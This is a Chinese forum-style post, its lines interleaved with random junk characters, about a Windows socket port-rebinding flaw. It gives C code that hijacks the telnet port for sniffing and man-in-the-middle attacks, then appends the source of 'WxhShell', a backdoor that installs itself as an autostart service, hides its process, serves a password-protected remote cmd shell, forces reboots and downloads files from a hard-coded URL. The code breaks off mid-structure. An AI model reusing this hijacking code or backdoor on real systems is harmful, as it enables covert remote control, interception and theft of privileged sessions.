在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y*`:M( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5OPS&: Tf9&,!>V saddr.sin_family = AF_INET;
WA<H )W[KD,0+j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bs:C1j\& -X`~;=m>U bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+`Q
PBj^ TjKzBAX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w~bG<kxP z2rQ$O-# 这意味着什么?意味着可以进行如下的攻击:
6$W -? tfi2y]{A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2AdX)iF@ M3hy5j(b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3c1o,2 ({*.!ty 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
vS~AxeW/7R F7k4C2r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
N%|^;4}k fMWXo)rzj 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(1j(*
?2 ;s}-X_O< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
x(C]O, >xxXPvM<` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0!3!?E < yC9:sQ'k #include
/ e~ #include
n`FQgC #include
B|$\/xO #include
H @3$1h&YS DWORD WINAPI ClientThread(LPVOID lpParam);
'0\0SL int main()
5pNvzw {
OlD7-c2L] WORD wVersionRequested;
Ktg&G<%J0 DWORD ret;
1G e)p4 WSADATA wsaData;
Y;a6:>D%cT BOOL val;
J,dG4.ht SOCKADDR_IN saddr;
}M"-5K} SOCKADDR_IN scaddr;
>i><s>=I` int err;
')C_An>X6 SOCKET s;
\GjXsR*b5 SOCKET sc;
"Qiq/"h int caddsize;
ZaEBdBv HANDLE mt;
?X8K$g DWORD tid;
hq|jC wVersionRequested = MAKEWORD( 2, 2 );
~2, wI<Nz err = WSAStartup( wVersionRequested, &wsaData );
GI'&g@?u if ( err != 0 ) {
4wM$5 printf("error!WSAStartup failed!\n");
|Oj,S|Z: return -1;
BDB zc5Q( }
;-<<1Jz/2 saddr.sin_family = AF_INET;
T }8r;<P6 yK @X^jf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
NO0[`jy( 2WbZ>^:Nsk saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>mGGJvTx saddr.sin_port = htons(23);
[nhLhl4S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O*+w_fox {
?(`nBlWQ5 printf("error!socket failed!\n");
5sffDEU]A return -1;
kBDe*K.V }
Poylq]F val = TRUE;
=8VJ.{xy_e //SO_REUSEADDR选项就是可以实现端口重绑定的
o/i5e=9[y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>.k@!* {
Qh1Kl_a?Lv printf("error!setsockopt failed!\n");
YA8yMh*4D? return -1;
V)@nRJ g }
U_zpLpm^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
' /@!"IXz //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*YEIG#` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
HzO0K=Z=R0 )Or:wFSMq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)}zA,FOA* {
Qbe{/ ret=GetLastError();
#L+s%OJ` printf("error!bind failed!\n");
o^.s!C%j return -1;
,XF6Xsg2 }
+wf& L listen(s,2);
"_% 0|; while(1)
X\^3,k." {
#L1yL<' caddsize = sizeof(scaddr);
A%sxMA!K, //接受连接请求
,2:L{8_L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!&`7 if(sc!=INVALID_SOCKET)
|[n|=ORI' {
jy)9EU= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;R-
z3C if(mt==NULL)
1J!tcj1( {
5G]#'tu printf("Thread Creat Failed!\n");
D4x' break;
|SJ%
_#=i }
\)6?u_(u }
-%QEzu& CloseHandle(mt);
Wf&G9Be?8 }
?eg@
7n closesocket(s);
(}7o
a9Q< WSACleanup();
h19.b:JT return 0;
",,qFM! }
khO<Z^wi[ DWORD WINAPI ClientThread(LPVOID lpParam)
"N[gMp6U {
? _h#> SOCKET ss = (SOCKET)lpParam;
FL_ arhrqD SOCKET sc;
\Jj'60L^ unsigned char buf[4096];
)F9%^a( SOCKADDR_IN saddr;
zj$Z%|@$ long num;
a0v1LT6 DWORD val;
=<tJAoVV DWORD ret;
-:1Gr8 //如果是隐藏端口应用的话,可以在此处加一些判断
TY{?4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
t+Tg@~K2[> saddr.sin_family = AF_INET;
(^OC%pc saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6T'43h. : saddr.sin_port = htons(23);
0a;FX0S& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jut'xA2Dr {
P)o[p( printf("error!socket failed!\n");
~TmHnAz return -1;
?wiq
3f 6 }
jzOMjz~:) val = 100;
h"%,eW|^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YUE1 '} {
hE3jb.s(> ret = GetLastError();
Jv$2wH return -1;
Sv]"Y/N }
cF>;f(X if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&G5I0:a
{
ovRCF(Og, ret = GetLastError();
<k8rSxn{ return -1;
.dq.F#2B; }
5<'Jd3N{& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
"i5AAP?_]{ {
<P)%Ms printf("error!socket connect failed!\n");
kTe<1^,m closesocket(sc);
'bqf?3W closesocket(ss);
,Y/>*,J return -1;
c\?/^xr'!} }
ieg PEb while(1)
^ZZ@!Udy {
C3`.-/{D" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
mwiPvwHrg //如果是嗅探内容的话,可以再此处进行内容分析和记录
!QzMeN;D //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'{_tDboY num = recv(ss,buf,4096,0);
AT8,9 if(num>0)
IaZAP send(sc,buf,num,0);
!c;p4B) else if(num==0)
PyJblW break;
!i lDR< num = recv(sc,buf,4096,0);
D2mAyU- if(num>0)
sg~/RSJ3 send(ss,buf,num,0);
J +Y|# U else if(num==0)
|@4hz9~3 break;
Kof-;T }
cN(QTbyl6Q closesocket(ss);
)9P closesocket(sc);
91'^--N return 0 ;
zCN;LpbEJY }
!{- 3:N7 x-P_}}K 79 .6]cu{K( ==========================================================
W;j)ux7jMY D}=i
tu 下边附上一个代码,,WXhSHELL
[+2^n7R ]5MRp7 ==========================================================
fN/KXdAy& ]?5@ObG #include "stdafx.h"
':fbf7EL< qdnNapWnc #include <stdio.h>
/IR5[67 #include <string.h>
~wV98u-N #include <windows.h>
vTa23YDW #include <winsock2.h>
+c2>j8e6 #include <winsvc.h>
5_T>HHR6 #include <urlmon.h>
2/NWWoKw B,qZwc| #pragma comment (lib, "Ws2_32.lib")
v*p)"J * #pragma comment (lib, "urlmon.lib")
t z>X'L 0{@Ovc #define MAX_USER 100 // 最大客户端连接数
y")>"8H #define BUF_SOCK 200 // sock buffer
G&B}jj #define KEY_BUFF 255 // 输入 buffer
X%qR6mMfT7 ZI*A0_;L #define REBOOT 0 // 重启
`9)2nkJk'z #define SHUTDOWN 1 // 关机
lP
&%5y; Hw3E S #define DEF_PORT 5000 // 监听端口
Kct +QO( d:ajD #define REG_LEN 16 // 注册表键长度
W_lNvzag #define SVC_LEN 80 // NT服务名长度
x}24?mP um4zLsd#v // 从dll定义API
aj~@r3E; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
{?_)m/\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
S`-IQ,*} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KV(W|~+ rM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
LA3,e (e T"lqPbK // wxhshell配置信息
H`..)zL| struct WSCFG {
,l"2MXD int ws_port; // 监听端口
%6?}gc_ char ws_passstr[REG_LEN]; // 口令
P?-44m# int ws_autoins; // 安装标记, 1=yes 0=no
e 2&i char ws_regname[REG_LEN]; // 注册表键名
f)fw87UPc char ws_svcname[REG_LEN]; // 服务名
alD|-{Bf char ws_svcdisp[SVC_LEN]; // 服务显示名
yr DYw T char ws_svcdesc[SVC_LEN]; // 服务描述信息
66;O 3g' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J@-9{< int ws_downexe; // 下载执行标记, 1=yes 0=no
@Kb~!y@G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}tq9 /\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+OP' / 3hjwwLKG$ };
_)\,6| # ;0{*V5A // default Wxhshell configuration
KPrxw }P struct WSCFG wscfg={DEF_PORT,
f4^_FK& "xuhuanlingzhe",
`{;&Qcg6m 1,
IKj1{nZvDc "Wxhshell",
`2+52q<FO "Wxhshell",
l0o_C#"<S "WxhShell Service",
cMKh+r "Wrsky Windows CmdShell Service",
}z:=b8} "Please Input Your Password: ",
Qc/J"<Lx 1,
+#9 (T
"
http://www.wrsky.com/wxhshell.exe",
LLN^^>5|l "Wxhshell.exe"
<o`]wOrl };
;f*xOdi*k ~|]\.^B // 消息定义模块
wN.Jyb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Ee| y[y, char *msg_ws_prompt="\n\r? for help\n\r#>";
$^GnY7$!> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%8}w!2D S char *msg_ws_ext="\n\rExit.";
:RG6gvz char *msg_ws_end="\n\rQuit.";
$9$NX/P char *msg_ws_boot="\n\rReboot...";
gW%(_H mX char *msg_ws_poff="\n\rShutdown...";
a2n#T,kq& char *msg_ws_down="\n\rSave to ";
6n g9 o6
X:bgY char *msg_ws_err="\n\rErr!";
/d;l: char *msg_ws_ok="\n\rOK!";
=-Tetp 3_:k12%p char ExeFile[MAX_PATH];
Ue%5
:Sdr int nUser = 0;
ax }Xsk_ HANDLE handles[MAX_USER];
]P5u:~U int OsIsNt;
BGOI %oQj^r!Xd SERVICE_STATUS serviceStatus;
1EB`6_>y SERVICE_STATUS_HANDLE hServiceStatusHandle;
s^<
oU P]^]
T}5 // 函数声明
4(]('[M int Install(void);
HX^
P9jXT int Uninstall(void);
^4i3 #} int DownloadFile(char *sURL, SOCKET wsh);
WR%iUO40 int Boot(int flag);
OC.@C}u void HideProc(void);
1NJ|%+I int GetOsVer(void);
' JVvL int Wxhshell(SOCKET wsl);
jeNEC&J void TalkWithClient(void *cs);
Er`PYE
J int CmdShell(SOCKET sock);
gE#,QOy int StartFromService(void);
}2"k:-g int StartWxhshell(LPSTR lpCmdLine);
nIT=/{oyi y+<HS]vyV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n_Dhq (. VOID WINAPI NTServiceHandler( DWORD fdwControl );
Vh&KfYY |M&/(0 // 数据结构和表定义
>Li?@+Zl SERVICE_TABLE_ENTRY DispatchTable[] =
0SYkDI {
fx5vaM! {wscfg.ws_svcname, NTServiceMain},
pj`-T"Q {NULL, NULL}
iddT. };
$cedO'] xR3A4m // 自我安装
"a7d`l: int Install(void)
`MS=/x E {
HF:PF"|3 char svExeFile[MAX_PATH];
$fO*229As HKEY key;
J.(_c'
r strcpy(svExeFile,ExeFile);
,GlK_-6> Q2uE_w`B // 如果是win9x系统,修改注册表设为自启动
V2X(f6v if(!OsIsNt) {
7y3; F7V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*!kg@ _0K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=T`-h"E~@ RegCloseKey(key);
*bK@ A2` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,#6\:i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*G4; RegCloseKey(key);
0v?,:]A0E return 0;
TM;)[R@ }
WfVie6 }
nEYJ?_55 }
bC|~N0b else {
?CC6/bE-{ t+tGN\q // 如果是NT以上系统,安装为系统服务
OZD/t(4?6s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y{<7OTA) if (schSCManager!=0)
O1"!'Gk[!L {
195(Kr<5$ SC_HANDLE schService = CreateService
$qqusa}`K (
jEadVM9 schSCManager,
ObUQ B+ wscfg.ws_svcname,
i`X{pEKP+ wscfg.ws_svcdisp,
DDEn63{ SERVICE_ALL_ACCESS,
[iD!!{6+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
iGIaZ!j aW SERVICE_AUTO_START,
{iRNnh SERVICE_ERROR_NORMAL,
622).N4 svExeFile,
pWqahrWh NULL,
l;ugrAo? NULL,
!ibp/:x NULL,
j!l(ReGb NULL,
L [^e<I NULL
l)Hu.1~ );
]z,?{S if (schService!=0)
w,&RHQB {
N'StT$( CloseServiceHandle(schService);
TBzM~y CloseServiceHandle(schSCManager);
ME.LS2'n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}z[se)s strcat(svExeFile,wscfg.ws_svcname);
Ic*Q(X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
sq%f%?(V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0IZV4{ RegCloseKey(key);
vzU %5, return 0;
K(?7E6\vO }
QB7<$Bp }
!PgYn CloseServiceHandle(schSCManager);
c=5$bo]LI }
Z-p_hN b }
n1ICW 9 8[k-8h| return 1;
XxGm,A+>Ty }
@RC_Ie=#) {_Y\Y // 自我卸载
a?;{0I:Ln int Uninstall(void)
O;w';}At {
yC
-4wn* HKEY key;
nm)F tX|A TM+7>a$ if(!OsIsNt) {
B`vV[w? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z)ydQw> RegDeleteValue(key,wscfg.ws_regname);
)9*WmF c+# RegCloseKey(key);
Dbgw)n*2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7-^d4P+|g RegDeleteValue(key,wscfg.ws_regname);
S&a44i RegCloseKey(key);
@c/~qP4 return 0;
M*x_1h5n }
A
9u9d\ }
}}
IvZG& }
}&=C*5JN else {
DV.m({? @A:Xct SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J~==<?j: if (schSCManager!=0)
@=$;^}JS| {
UW\.!TV SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Agl[Z>Q if (schService!=0)
6,!]x>B {
~
^K[pA ? if(DeleteService(schService)!=0) {
N(D_*% 96 CloseServiceHandle(schService);
us/x.qPy2 CloseServiceHandle(schSCManager);
1e}wDMU( return 0;
HxkhlNB }
}%%| '8 CloseServiceHandle(schService);
Ef#%4ky }
IkD\YPL; CloseServiceHandle(schSCManager);
_Ab|<!a/R }
I(C_}I>Wb }
291v
R] -\>Xtix^-c return 1;
f7mI\$CN }
vrH/Z.WD GR/
p%Y( // 从指定url下载文件
=E{1QA0 int DownloadFile(char *sURL, SOCKET wsh)
PQ1\b-I {
sI#K01;" HRESULT hr;
MwiT1sB~ char seps[]= "/";
^"l4 char *token;
2nk}'HBe char *file;
9kTU|py char myURL[MAX_PATH];
k
kY*OA char myFILE[MAX_PATH];
EyozhIV )abo5 strcpy(myURL,sURL);
7GpSWM6 token=strtok(myURL,seps);
68d(6?OgW while(token!=NULL)
dY|( {
jytfGE: file=token;
Z>'.+OW token=strtok(NULL,seps);
iGM-#{5 }
YYN=`ST uYF_sf GetCurrentDirectory(MAX_PATH,myFILE);
7n5bI\ strcat(myFILE, "\\");
Drc\$<9c@ strcat(myFILE, file);
iYR8sg[' # send(wsh,myFILE,strlen(myFILE),0);
PbCXcs send(wsh,"...",3,0);
AfyEFnY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)0YMi!&j` if(hr==S_OK)
cSQvP. return 0;
ji:JLvf]% else
>{V]q*[/;Q return 1;
S&FMFXF@ ` O-$qT,_ }
@32JMS< ]QRhTz // 系统电源模块
qpFFvZ
W int Boot(int flag)
>tYptRP {
A6=
Um%T HANDLE hToken;
q8`JRmt)H TOKEN_PRIVILEGES tkp;
! p458~| qa2QS._m if(OsIsNt) {
}3ty2D#/: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^|(F|Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zN0^FXGD tkp.PrivilegeCount = 1;
a8Nl'
f*0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
y.HE3tH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R=xT \i{4h if(flag==REBOOT) {
5e6 f)[} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8W9kd"=U return 0;
KYZ/b8C }
^3^n|T7le else {
c\065#f! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
UzWf_r return 0;
(0bvd }
km|;T! }
nZ0-
Kb else {
fq48>"g* if(flag==REBOOT) {
@Xts}(L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7o-umZ}8 return 0;
KY~p>Jmh }
1kEXTs=, else {
V>>"nf,YO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
v[E*K@6f return 0;
Gb4k5jl }
SxI='z_S.f }
c|.~f+ {N42z0c return 1;
U-&dn%Sq }
7o_1PwKS6 ry)g<OA // win9x进程隐藏模块
pnl7a$z void HideProc(void)
A)/8j2 {
S:aAR*<6 ,@!io HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ce7$r*@! if ( hKernel != NULL )
7}>Zq`]~ {
FOV%\=Hl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
GrPKJ~{6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
dCc"Qr[k FreeLibrary(hKernel);
T5H[~b|9- }
"*UN\VV+s LS;j]!CU return;
RdaAS{>Sk }
;n]GHqzY_ x8x8T$ // 获取操作系统版本
#[ZToE4 int GetOsVer(void)
Zq1ZrwPF {
B?n
6o|8 OSVERSIONINFO winfo;
O=m_P}K winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
v%a)nv GetVersionEx(&winfo);
utOATjB.z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@{/GdB,} return 1;
`s1>7XWf
else
r{2V`h1/| return 0;
cBcfGNTJ~ }
9n9Z l ld,&N8 // 客户端句柄模块
+5~5BZP int Wxhshell(SOCKET wsl)
>1uo5,wrF {
9bu}@#4* SOCKET wsh;
K
?uHAm struct sockaddr_in client;
h.T]J9;9 DWORD myID;
q9+`pj jR1t&UD3Y while(nUser<MAX_USER)
QiO4fS'~W {
r:N =?X`N int nSize=sizeof(client);
LL% Aw)Q` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1'Sr0
oEd3 if(wsh==INVALID_SOCKET) return 1;
5\!t!FL_ n92*:Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
v\lhbpk if(handles[nUser]==0)
q~:H>;:G- closesocket(wsh);
OeMI else
c?(;6$ A nUser++;
-nK\+bTL} }
\G4L+Q/13 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z3Id8G&> Y["aw&;#O\ return 0;
g}@W9'! }
v;6O# ta' x)}.@\&% // 关闭 socket
h95a61a,Vy void CloseIt(SOCKET wsh)
{4]sJT {
&[yW}uV<7 closesocket(wsh);
zjE|UK{ nUser--;
=`st1K ExitThread(0);
W _b!FQ] }
EN2H[i+, U3t$h // 客户端请求句柄
/E %^s3S. void TalkWithClient(void *cs)
g$/C-j4A[ {
Yq~$pVgf Qxb%P<`u SOCKET wsh=(SOCKET)cs;
f[ 'uka.U char pwd[SVC_LEN];
3*(w=;y char cmd[KEY_BUFF];
pLdZB9oD]C char chr[1];
9M12|X\]8 int i,j;
}+@GgipyO. 2/dvCt6 N while (nUser < MAX_USER) {
#jqcUno &"gQrBa if(wscfg.ws_passstr) {
B0+r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z>l%:;H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pLiGky //ZeroMemory(pwd,KEY_BUFF);
a>H8,a i=0;
5jNDr`pnu while(i<SVC_LEN) {
/gH[|d zk++#rB // 设置超时
Hd_W5R fd_set FdRead;
j1~'[ struct timeval TimeOut;
0rrNVaM FD_ZERO(&FdRead);
R3bHX%T FD_SET(wsh,&FdRead);
"/kTEp TimeOut.tv_sec=8;
w}rsboU TimeOut.tv_usec=0;
E+"m@63 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
c0U=Hj@@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{t%Jc~p{ Gnthz0\]{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
EEJ OJ< pwd
=chr[0]; Ze.\<^-t
if(chr[0]==0xd || chr[0]==0xa) { aj`_*T"A
pwd=0;
}K.2
break; 59MpHkr
} #?_8 *?
i++; V44M=c7E
} DG-XX.:z
$! R]!s
// 如果是非法用户,关闭 socket %AJTU3=0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \- f^C}m
} &:?2IAe
I.>SC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Tg[-tl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ozOvpi:k3%
($T"m-e
while(1) { 7x''V5*j
@%b&(x^UD
ZeroMemory(cmd,KEY_BUFF); TbQ5
Y;"rJxHD
// 自动支持客户端 telnet标准 kSUpEV+/
j=0; !(i}FFn{:
while(j<KEY_BUFF) { NpAZuISD!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X3zpU7`Av+
cmd[j]=chr[0]; [XbNZ6
if(chr[0]==0xa || chr[0]==0xd) { %8c2d
cmd[j]=0; M"\j7(
break; f=--$o0U~
} lL;SP&
j++; ?,z/+/:
} ad#4W0@S
Oe)B.{;Ph
// 下载文件 p*C| kE qk
if(strstr(cmd,"http://")) { ;7*R ;/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); De`p@`+<#~
if(DownloadFile(cmd,wsh)) 5H79-QLd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cVf}8qf)
else n\w2e_g;N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lO/?e!$
} ]t)#,'$^[W
else { `|`Qrv4}
,a'Y^[4k?
switch(cmd[0]) {
!XQq*
L/KiE+Y
// 帮助 dxi5p!^^9
case '?': { )aAKxC7w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
!m:rtPD'
break; U+ANSW/
} .^!<cFkCE
// 安装 s9[547?`
case 'i': { zEy,aa:M
if(Install()) TjY-C m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zPc kM)
else 2Fc>6]:*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SUN!8
qFA
break; cnraNq1
} kK~,?l
// 卸载 nm#,oX2C
case 'r': { 60z8U#upM
if(Uninstall()) V.|#2gC]t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ K Ix7
else T*{nf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZwOX ,D
break; bnZ~jOHl
} py }`thx
// 显示 wxhshell 所在路径 >_|$7m.?n[
case 'p': { 4GqwY"ja
char svExeFile[MAX_PATH]; L0X/
strcpy(svExeFile,"\n\r"); %4,v2K
strcat(svExeFile,ExeFile); #5X535'ze
send(wsh,svExeFile,strlen(svExeFile),0); Ku`u%5<
break; $(fhO
} 5j~1%~,#
// 重启 ,X}Jpi;/
case 'b': { wAKm]?zB>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QWI)Y:<K/
if(Boot(REBOOT)) s"JD,gm$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Zh]n;S3m
else { ~UNK[
closesocket(wsh); 1n!xsesSc
ExitThread(0); 4A)@,t9+
} Fk#$@^c@
break; 4Kh0evZ
} >/.w80<'
// 关机 #?C.%kD
case 'd': { 2y5d
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); de_%#k1:L
if(Boot(SHUTDOWN)) O)$Pvll
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:wA\mAd
else { l05'/duuJ
closesocket(wsh); *!^l
ZpF
ExitThread(0); enT[#f[{
} 'YvRkWf:KC
break; p(6KJK\
} D"M[}$P
// 获取shell N|e#&
case 's': { ?/q\S
CmdShell(wsh); 4o|<zn
closesocket(wsh); KBa ]s q_
ExitThread(0); F1u2SltR
break; '.{_
7U
} } fJLY\
// 退出 #Q1}h
case 'x': { ):lH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %%sJ+)
CloseIt(wsh); 'E"W;#%
break; :nS$cC0x*
} u{Gci
// 离开 2EiE5@
case 'q': { 1ne3CA=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0k G\9
closesocket(wsh); xmi@
XL@t
WSACleanup(); gy Ey=@L
exit(1); %JL P=(
break; b\S~uFq6
} |B
{*so]
} *RM 3_
} L6./5`bs
]
@:x<>
// 提示信息 =2@V}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tU0jFBB
} C}qHvwFm
} mXs.@u/
#%g>^i={ky
return; G%ZP`
} G|YNShK4=9
|:]}u|O
// shell模块句柄 _<KUa\
int CmdShell(SOCKET sock) =&F~GCZ>
{ R PdFLC/
STARTUPINFO si; :%>)S
ZeroMemory(&si,sizeof(si)); 3sD|R{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1:!H`*DU&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *yv@B!r
PROCESS_INFORMATION ProcessInfo; F:og :[
char cmdline[]="cmd"; 01~
nC@;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F+ %l=
fs
return 0; ERy=lP~gV
} <HnpI
r{KQ3j9O
// 自身启动模式 20# V?hX3
int StartFromService(void) l5#SOo\
{ =!\Y;rk
typedef struct p\R&vof*
{ Xe&p.v
DWORD ExitStatus; qKrxln/T
DWORD PebBaseAddress; Y5c[9\'\
DWORD AffinityMask; On|b-
DWORD BasePriority;
~owodc
ULONG UniqueProcessId; ?,i}Qr [Q
ULONG InheritedFromUniqueProcessId; iK=QP+^VN
